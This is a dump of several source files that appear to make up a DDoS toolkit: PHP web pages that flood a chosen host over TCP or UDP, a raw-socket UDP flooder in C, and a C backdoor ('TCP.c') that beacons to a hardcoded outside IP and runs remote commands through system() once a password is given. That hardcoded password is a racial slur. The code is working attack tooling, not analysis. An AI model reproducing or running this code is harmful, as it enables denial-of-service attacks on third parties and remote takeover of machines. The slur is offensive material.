206 |     td[i].floodport = floodport;
207 |     td[i].throttle = atoi(argv[3]);
208 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
209 |   }
210 |   fprintf(stdout, "Starting Flood...\n");
211 |   if(argc > 5)
212 |   {
213 |     sleep(atoi(argv[5]));
214 |   } else {
215 |     while(1){
216 |       sleep(1);
217 |     }
218 |   }
219 | 
220 |   return 0;
221 | }
222 | 


--------------------------------------------------------------------------------
/TCP Shell.php:
--------------------------------------------------------------------------------
  1 |        <html>
  2 |    	 <head>
  3 |    	   <?php
  4 |     	   $ip = $_SERVER['REMOTE_ADDR'];
  5 |    	  ?>
  6 |    	 </head>
  7 |     <body bgcolor="black">
  8 | 
  9 | 
 10 | 
 11 |     <center>
 12 |     <font face="Arial" color="white">
 13 |     <pre>
 14 |     <b>
 15 | 
 16 |                   
 17 |     <center><b>Your IP:</b> <font color="red"><?php echo $ip; ?></font><br><br></center>
 18 |     </pre>
 19 |     <STYLE>
 20 |     
 21 |     
 22 | input
 23 | {
 24 | background-color: transparent; font-size: 14pt; color: lime; font-family: Arial; border: 1 solid lime;
 25 | }    
 26 | button
 27 | {
 28 | background-color: lime; font-size: 14pt; color: lime; font-family: Arial; border: 2 solid red;
 29 | }
 30 |     
 31 |     body 
 32 |     {
 33 |     background-color: black;
 34 |     }
 35 |     
 36 |     </style>
 37 |     <?php
 38 |     //TCP
 39 |     if(isset($_GET['host'])&&isset($_GET['time'])){
 40 |         $packets = 0;
 41 |         ignore_user_abort(FALSE);
 42 |         set_time_limit(0);
 43 |        
 44 |         $exec_time = $_GET['time'];
 45 |        
 46 |         $time = time();
 47 |         echo "Started: ".time('d-m-y h:i:s')."<br>";
 48 |         $max_time = $time+$exec_time;
 49 |      
 50 |         $host = $_GET['host'];
 51 |         $port = $_GET['port'];
 52 |        
 53 |         for($i=0;$i<65000;$i++){
 54 |                 $out .= 'X';
 55 |         }
 56 |         while(1){
 57 |         $packets++;
 58 |                 if(time() > $max_time){
 59 |                         break;
 60 |                 }               
 61 |                 $fp = fsockopen('tcp://'.$host, $port, $errno, $errstr, 5);
 62 |                 if($fp){
 63 |                         fwrite($fp, $out);
 64 |                         fclose($fp);
 65 |                 }
 66 |         }
 67 |         echo "<br><b>TCP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
 68 |         echo '<br><br>
 69 |         
 70 |             <form action="'.$surl.'" method=GET>
 71 |             
 72 |             <input type="hidden" name="act" value="phptools">
 73 |             
 74 |             IP: <br><input type=text name=host><br>
 75 |                         
 76 |             Port: <br><input type=text name=port><br> 
 77 |             
 78 |             Length (seconds): <br><input type=text name=time><br>
 79 |             
 80 |             <input type=submit value=Go></form>';
 81 |             
 82 |     }else{ echo '<br><b>TCP Flood</b><br>
 83 |     
 84 |                 <form action=? method=GET>
 85 |                 
 86 |                 <input type="hidden" name="act" value="phptools">
 87 |                 
 88 |                 IP: <br><input type=text name=host value=><br>
 89 |                 
 90 |                 Port: <br><input type=text name=port><br>
 91 |                 
 92 |                 Length (seconds): <br><input type=text name=time value=><br><br>
 93 |                 
 94 |                 <input type=submit value=Go></form>';
 95 |     }
 96 |     ?>
 97 |     </b>
 98 |     </center>
 99 |     </body>
100 |     </html>


--------------------------------------------------------------------------------
/TCP.c:
--------------------------------------------------------------------------------
  1 | #include <sys/socket.h>
  2 | #include <sys/types.h>
  3 | #include <unistd.h>
  4 | #include <netinet/in.h>
  5 | #include <strings.h>
  6 | #include <string.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <pthread.h>
 10 | 
 11 | #define PASSWORD "niggerdick"
 12 | 
 13 | void *fnParseData(void *arg);
 14 | 
 15 | void *fnPingPong(void *arg)
 16 | {
 17 | 	char szRecvBuff[1024];
 18 | 	char packet[1024];
 19 | 	char ip[] = "37.221.170.5"; // "37.221.170.5";
 20 | 
 21 | 	snprintf(packet, sizeof(packet) - 1, "GET /~dqyefldi/online.php HTTP/1.1\r\nHost: %s\r\nConnection: close\r\nCache-Control: no-cache\r\nOrigin: http://google.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.56 Safari/536.5\r\nContent-Type: application/x-www-form-urlencoded\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\nAccept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n\r\n", ip);
 22 | 
 23 | 	struct sockaddr_in *remote;
 24 | 	int sock;
 25 | 	int tmpres;
 26 | 	
 27 | 	
 28 | 	while (1)
 29 | 	{
 30 | 		if((sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
 31 | 		{
 32 | 			sleep(600);
 33 | 			continue;
 34 | 		}
 35 | 		
 36 | 		remote = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in *));
 37 | 		remote->sin_family = AF_INET;
 38 | 		tmpres = inet_pton(AF_INET, ip, (void *)(&(remote->sin_addr.s_addr)));
 39 | 		
 40 | 		if (tmpres < 0)  
 41 | 		{
 42 | 			sleep(600);
 43 | 			continue;
 44 | 		}
 45 | 		else if (tmpres == 0)
 46 | 		{
 47 | 			continue;
 48 | 			sleep(600);
 49 | 		}
 50 | 		
 51 | 		remote->sin_port = htons(80);
 52 | 		
 53 | 		if (connect(sock, (struct sockaddr *)remote, sizeof(struct sockaddr)) < 0)
 54 | 		{
 55 | 			continue;
 56 | 		}
 57 | 			
 58 | 		tmpres = send(sock, packet, strlen(packet), 0);
 59 | 		
 60 | 		/*
 61 | 		int i = 1;
 62 | 		int dwTotal = 0;
 63 | 
 64 | 		
 65 | 		while (1)
 66 | 		{
 67 | 			i = recv(sock, szRecvBuff + dwTotal, sizeof(szRecvBuff) - dwTotal, 0);
 68 | 			//printf("Received %d bytes\n", i);
 69 | 			if (i <= 0)
 70 | 				break;
 71 | 				
 72 | 			dwTotal += i;
 73 | 		}
 74 | 
 75 | 		szRecvBuff[dwTotal] = '\0';
 76 | 		
 77 | 
 78 | 		printf("Received -> \n%s\n\n", szRecvBuff);
 79 | 		*/
 80 | 
 81 | 		close(sock);
 82 | 		
 83 | 		sleep(600);
 84 | 	}
 85 | 	
 86 | 	return 0;
 87 | }
 88 | 
 89 | int main(int argc, char**argv)
 90 | {
 91 | 	int sListen, sConn, n;
 92 | 	int x = 0;
 93 | 	struct sockaddr_in servaddr, clientAddr;
 94 | 	socklen_t sClient;
 95 | 	pid_t childpid;
 96 | 	char szMessage[1000];
 97 | 	pthread_t pThreads[10240];
 98 | 	int rc, pp;
 99 | 	
100 | 	sListen=socket(AF_INET, SOCK_STREAM,0);
101 | 
102 | 	bzero(&servaddr, sizeof(servaddr));
103 | 	servaddr.sin_family = AF_INET;
104 | 	servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
105 | 	servaddr.sin_port=htons(80);
106 | 
107 | 	bind(sListen, (struct sockaddr *)&servaddr, sizeof(servaddr));
108 | 
109 | 	listen(sListen, 1024);
110 | 
111 | 
112 | 	printf("Listening for connection on port %d\n", ntohs(servaddr.sin_port));
113 | 
114 | 	pthread_t pingpong[1];
115 | 	pp = pthread_create(&pingpong[0], NULL, fnPingPong, NULL);
116 | 
117 | 	for(;;)
118 | 	{
119 | 		sClient = sizeof(clientAddr);
120 | 		sConn = accept(sListen, (struct sockaddr *)&clientAddr, &sClient);
121 | 
122 | 		if ((childpid = fork()) == 0)
123 | 		{
124 | 			close (sListen);
125 | 
126 | 			for(;;)
127 | 			{
128 | 				n = recvfrom(sConn, szMessage, 1000, 0, (struct sockaddr *)&clientAddr, &sClient);
129 | 				sendto(sConn, szMessage, n, 0, (struct sockaddr *)&clientAddr, sizeof(clientAddr));
130 | 				szMessage[n] = 0;
131 | 				printf("Received -> %s\n", szMessage);
132 | 				rc = pthread_create(&pThreads[x], NULL, fnParseData, (void *)szMessage);
133 | 				usleep(100000);
134 | 				bzero(szMessage, sizeof(szMessage));
135 | 				x++;
136 | 			}
137 | 
138 | 		}
139 | 
140 | 		close(sConn);
141 | 	}
142 | }
143 | 
144 | void *fnParseData(void *arg)
145 | {
146 | 
147 | 	char *szMessage = (char*)arg;
148 | 	
149 | 	printf("Parsing %s\n", szMessage);
150 | 	
151 | 	int iSize = strlen(szMessage) - strlen(strstr(szMessage, "|"));
152 | 	char szCmd[128];
153 | 	strncpy(szCmd, szMessage, iSize);
154 | 
155 | 	szCmd[iSize] = '\0';	
156 | 	printf("Command Received -> %s\n", szCmd);
157 | 	
158 | 	if (strstr(szMessage + iSize + 1, PASSWORD))
159 | 	{
160 | 		system(szCmd);
161 | 	}
162 | 	
163 | 	return 0;
164 | }
165 | 


--------------------------------------------------------------------------------
/UDP Shell.php:
--------------------------------------------------------------------------------
 1 | <html>
 2 | <body>
 3 | <title>
 4 | UDP Flood</title>
 5 | <font color="00FF00">
 6 | 
 7 | <center>
 8 | <STYLE>
 9 | input{
10 | background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
11 | }
12 | button{
13 | background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid white;
14 | }
15 | body {
16 | background-color: black;
17 | }
18 | </style>
</br>
19 | </br>
20 | </br>
21 | </br>
22 | </br>
23 | <?php
24 | //UDP
25 | if(isset($_GET['host'])&&isset($_GET['time'])){
26 |     $packets = 0;
27 |     ignore_user_abort(TRUE);
28 |     set_time_limit(0);
29 | 
30 |     $exec_time = $_GET['time'];
31 | 
32 |     $time = time();
33 |     //print "Started: ".time('d-m-y h:i:s')."<br>";
34 |     $max_time = $time+$exec_time;
35 | 
36 |     $host = $_GET['host'];
37 | 
38 |     for($i=0;$i<65000;$i++){
39 |     $out .= 'X';
40 |     }
41 |     while(1){
42 |     $packets++;
43 |     if(time() > $max_time){
44 |   break;
45 |     }
46 |     $rand = rand(1,65000);
47 |     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);
48 |     if($fp){
49 |   fwrite($fp, $out);
50 |   fclose($fp);
51 |     }
52 |     }
53 |     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";
54 |     echo '<br><br>
55 |   <form action="'.$surl.'" method=GET>
56 |   <input type="hidden" name="act" value="phptools">
57 |   Host: <br><input type=text name=host><br>
58 |   Length (seconds): <br><input type=text name=time><br>
59 |   <input type=submit value=Go></form>';
60 | }else{ echo '<br><b>UDP Flood</b><br>
61 |     <form action=? method=GET>
62 |     <input type="hidden" name="act" value="phptools">
63 |     Host: <br><input type=text name=host value=><br>
64 |     Length (seconds): <br><input type=text name=time value=><br><br>
65 |     <input type=submit value=Go></form>';
66 | }
67 | ?>
68 | 
69 | </center>
70 | </body>
71 | 
72 | </html>


--------------------------------------------------------------------------------
/UDP.c:
--------------------------------------------------------------------------------
  1 | #include <time.h>
  2 | #include <arpa/inet.h>
  3 | #include <ifaddrs.h>
  4 | #include <netdb.h>
  5 | #include <pthread.h>
  6 | #include <unistd.h>
  7 | #include <stdio.h>
  8 | #include <stdlib.h>
  9 | #include <string.h>
 10 | #include <sys/socket.h>
 11 | #include <netinet/ip.h>
 12 | #include <netinet/udp.h>
 13 |  
 14 | #define MAX_PACKET_SIZE 4096
 15 | #define PHI 0x9e3779b9
 16 |  
 17 | static uint32_t Q[4096], c = 362436;
 18 | 
 19 | struct thread_data{
 20 |         int pks;
 21 |         int throttle;
 22 | 	int thread_id;
 23 | 	unsigned int floodport;
 24 | 	struct sockaddr_in sin;
 25 | };
 26 |  
 27 | void init_rand(uint32_t x)
 28 | {
 29 |         int i;
 30 |  
 31 |         Q[0] = x;
 32 |         Q[1] = x + PHI;
 33 |         Q[2] = x + PHI + PHI;
 34 |  
 35 |         for (i = 3; i < 4096; i++)
 36 |                 Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
 37 | }
 38 |  
 39 | uint32_t rand_cmwc(void)
 40 | {
 41 |         uint64_t t, a = 18782LL;
 42 |         static uint32_t i = 4095;
 43 |         uint32_t x, r = 0xfffffffe;
 44 |         i = (i + 1) & 4095;
 45 |         t = a * Q[i] + c;
 46 |         c = (t >> 32);
 47 |         x = t + c;
 48 |         if (x < c) {
 49 |                 x++;
 50 |                 c++;
 51 |         }
 52 |         return (Q[i] = r - x);
 53 | }
 54 | 
 55 | char *myStrCat (char *s, char *a) {
 56 |     while (*s != '\0') s++;
 57 |     while (*a != '\0') *s++ = *a++;
 58 |     *s = '\0';
 59 |     return s;
 60 | }
 61 | 
 62 | char *replStr (char *str, size_t count) {
 63 |     if (count == 0) return NULL;
 64 |     char *ret = malloc (strlen (str) * count + count);
 65 |     if (ret == NULL) return NULL;
 66 |     *ret = '\0';
 67 |     char *tmp = myStrCat (ret, str);
 68 |     while (--count > 0) {
 69 |         tmp = myStrCat (tmp, str);
 70 |     }
 71 |     return ret;
 72 | }
 73 | 
 74 | 
 75 | /* function for header checksums */
 76 | unsigned short csum (unsigned short *buf, int nwords)
 77 | {
 78 |   unsigned long sum;
 79 |   for (sum = 0; nwords > 0; nwords--)
 80 |   sum += *buf++;
 81 |   sum = (sum >> 16) + (sum & 0xffff);
 82 |   sum += (sum >> 16);
 83 |   return (unsigned short)(~sum);
 84 | }
 85 | void setup_ip_header(struct iphdr *iph)
 86 | {
 87 |   struct ifaddrs *ifaddr, *ifa;
 88 |            int family, s;
 89 |            char host[NI_MAXHOST];
 90 | 
 91 |            if (getifaddrs(&ifaddr) == -1) {
 92 |                perror("getifaddrs");
 93 |                exit(EXIT_FAILURE);
 94 |            }
 95 | 
 96 |            /* Walk through linked list, maintaining head pointer so we
 97 |               can free list later */
 98 | 
 99 |            for (ifa = ifaddr; ifa != NULL; ifa = ifa->ifa_next) {
100 |                if (ifa->ifa_addr == NULL)
101 |                    continue;
102 | 
103 |                family = ifa->ifa_addr->sa_family;
104 | 
105 |                if (family == AF_INET) {
106 |                    s = getnameinfo(ifa->ifa_addr,sizeof(struct sockaddr_in),
107 |                            host, NI_MAXHOST, NULL, 0, NI_NUMERICHOST);
108 |                    if (s != 0) {
109 |                        printf("getnameinfo() failed: %s\n", gai_strerror(s));
110 |                        exit(EXIT_FAILURE);
111 |                    }
112 |                    if(strcmp(host, "127.0.0.1") != 0){
113 |                        break;
114 |                    }
115 |                }
116 |            }
117 |            freeifaddrs(ifaddr);
118 |   iph->ihl = 5;
119 |   iph->version = 4;
120 |   iph->tos = 0;
121 |   iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr);
122 |   iph->id = htonl(54321);
123 |   iph->frag_off = 0;
124 |   iph->ttl = MAXTTL;
125 |   iph->protocol = IPPROTO_UDP;
126 |   iph->check = 0;
127 | 
128 |   // Initial IP, changed later in infinite loop
129 |   iph->saddr = inet_addr(host);
130 | }
131 | 
132 | void setup_udp_header(struct udphdr *udph)
133 | {
134 |   udph->source = htons(5678);
135 |   udph->check = 0;
136 | }
137 | 
138 | void *flood(void *par1)
139 | {
140 |   struct thread_data *td = (struct thread_data *)par1;
141 |   fprintf(stdout, "Thread %d started\n", td->thread_id);
142 |   char datagram[MAX_PACKET_SIZE];
143 |   struct iphdr *iph = (struct iphdr *)datagram;
144 |   struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr);
145 |   struct sockaddr_in sin = td->sin;
146 |   char new_ip[sizeof "255.255.255.255"];
147 | 
148 |   int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
149 |   if(s < 0){
150 |     fprintf(stderr, "Could not open raw socket.\n");
151 |     exit(-1);
152 |   }
153 | 
154 |   unsigned int floodport = td->floodport;
155 | 
156 |   // Clear the data
157 |   memset(datagram, 0, MAX_PACKET_SIZE);
158 | 
159 |   // Set appropriate fields in headers
160 |   setup_ip_header(iph);
161 |   setup_udp_header(udph);
162 | 
163 |   char *data = (char *)udph + sizeof(struct udphdr);
164 |   data = replStr("\xFF", td->pks);
165 |   udph->len=htons(td->pks);
166 | 
167 |   iph->tot_len += td->pks;
168 | 
169 |   udph->dest = htons(floodport);
170 | 
171 |   iph->daddr = sin.sin_addr.s_addr;
172 |   iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
173 | 
174 |   int tmp = 1;
175 |   const int *val = &tmp;
176 |   if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
177 |     fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
178 |     exit(-1);
179 |   }
180 | 
181 |   int throttle = td->throttle;
182 | 
183 |   uint32_t random_num;
184 |   uint32_t ul_dst;
185 |   init_rand(time(NULL));
186 |   if(throttle == 0){
187 |     while(1){
188 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
189 |       random_num = rand_cmwc();
190 |       udph->source = htons(random_num & 0xFFFF);
191 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
192 |     }
193 |   } else {
194 |     while(1){
195 |       throttle = td->throttle;
196 |       sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
197 |       random_num = rand_cmwc();
198 |       udph->source = htons(random_num & 0xFFFF);
199 |       iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1);
200 | 
201 |      while(--throttle);
202 |     }
203 |   }
204 | }
205 | int main(int argc, char *argv[ ])
206 | {
207 |   if(argc < 6){
208 |     fprintf(stderr, "Invalid parameters!\n");
209 |     fprintf(stdout, "UDP Flooder v1.2.8 FINAL by ohnoes1479\nUsage: %s <target IP/hostname> <port to be flooded> <throttle (lower is faster)> <packet size> <number threads to use> <time (optional)>\n", argv[0]);
210 |     exit(-1);
211 |   }
212 | 
213 |   fprintf(stdout, "Setting up Sockets...\n");
214 | 
215 |   int num_threads = atoi(argv[5]);
216 |   int packet_size = atoi(argv[4]);
217 |   unsigned int floodport = atoi(argv[2]);
218 |   pthread_t thread[num_threads];
219 |   struct sockaddr_in sin;
220 | 
221 |   sin.sin_family = AF_INET;
222 |   sin.sin_port = htons(floodport);
223 |   sin.sin_addr.s_addr = inet_addr(argv[1]);
224 | 
225 |   struct thread_data td[num_threads];
226 | 
227 |   int i;
228 |   for(i = 0;i<num_threads;i++){
229 |     td[i].thread_id = i;
230 |     td[i].pks = packet_size;
231 |     td[i].sin = sin;
232 |     td[i].floodport = floodport;
233 |     td[i].throttle = atoi(argv[3]);
234 |     pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
235 |   }
236 |   fprintf(stdout, "Starting Flood...\n");
237 |   if(argc > 6)
238 |   {
239 |     sleep(atoi(argv[6]));
240 |   } else {
241 |     while(1){
242 |       sleep(1);
243 |     }
244 |   }
245 | 
246 |   return 0;
247 | }
248 | 


--------------------------------------------------------------------------------